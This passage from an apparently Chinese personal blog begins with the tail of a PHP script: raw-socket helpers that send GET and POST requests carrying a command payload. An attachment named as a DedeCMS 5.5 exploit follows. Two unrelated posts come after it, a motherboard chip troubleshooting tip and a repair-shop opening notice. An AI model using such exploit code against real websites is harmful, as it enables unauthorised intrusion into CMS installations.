    $message .= "Host: $host\r\n";
    $message .= "Connection: Close\r\n\r\n";
    $fp = fsockopen($host, 80);
    if(!$fp){
        echo "\nConnect to host Error";
    }
    fputs($fp, $message);
   
    $back = '';

    while (!feof($fp))
        $back .= fread($fp, 1024);
    fclose($fp);
    return $back;
   
}
function post_send($url,$cmd){
   
    global $host, $path;
    $message = "POST ".$path."$url  HTTP/1.1\r\n";
    $message .= "Accept: */*\r\n";
    $message .= "Referer: http://$host$path\r\n";
    $message .= "Accept-Language: zh-cn\r\n";
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $message .= "Host: $host\r\n";
    $message .= "Content-Length: ".strlen($cmd)."\r\n";
    $message .= "Connection: Close\r\n\r\n";
    $message .= $cmd;
    $fp = fsockopen($host, 80);
    if(!$fp){
        echo "\nConnect to host Error";
    }
    fputs($fp, $message);
   
    $back = '';

    while (!feof($fp))
        $back .= fread($fp, 1024);
    fclose($fp);
    return $back;
}
?>
 

附件: dedecms 5.5 exp.rar (508.91 K, 下载次数:708)

Tags: dedecms

板芯片好坏判断另一个简易方法

Submitted by admin
2010, March 7, 9:51 AM

在维修主板过程中,一般是先通过目测来判断主板芯片好坏,如果芯片表面有明显的小亮点或是鼓起小泡,那么这个芯片就可以判断是损坏的。
通过长期实践,本人总结出另一个判断主板芯片好坏的简易方法:
插上220V电源后
未按开机键,用手摸芯片,
哪块温度高,哪块要报销。
开机片刻后,再去摸芯片,
哪块冰冰凉,肯定不正常。
这是利用集成电路正常运行时有一定的工作温度这一原理,如果还没通电(插上220V后,虽然未按开机键,但已有一个5V的待机电压存在相关的电路上)就发烫说明集成块内部有短路温度很高;如果通电片刻后一点温度也没有,一是可能芯片的供电没有,二是可能内部断路,这两种情况都导致芯片根本没有工作,所以它一点温度也没有。
我想这对主板维修的老鸟们没多大作用,对新手还是会有点帮助的
来源:luobo.cc
Tags: 芯片

店面正式开业

Submitted by admin
2010, March 6, 1:17 PM

店面正式开业,名就为 久久久电脑工作室

目前没有网络方面的业务,主要经营电脑销售和维修,周边耗材类的。

blog可能要一段时间没的更新了!!!

大家祝我生意兴隆吧!

嘎嘎跨……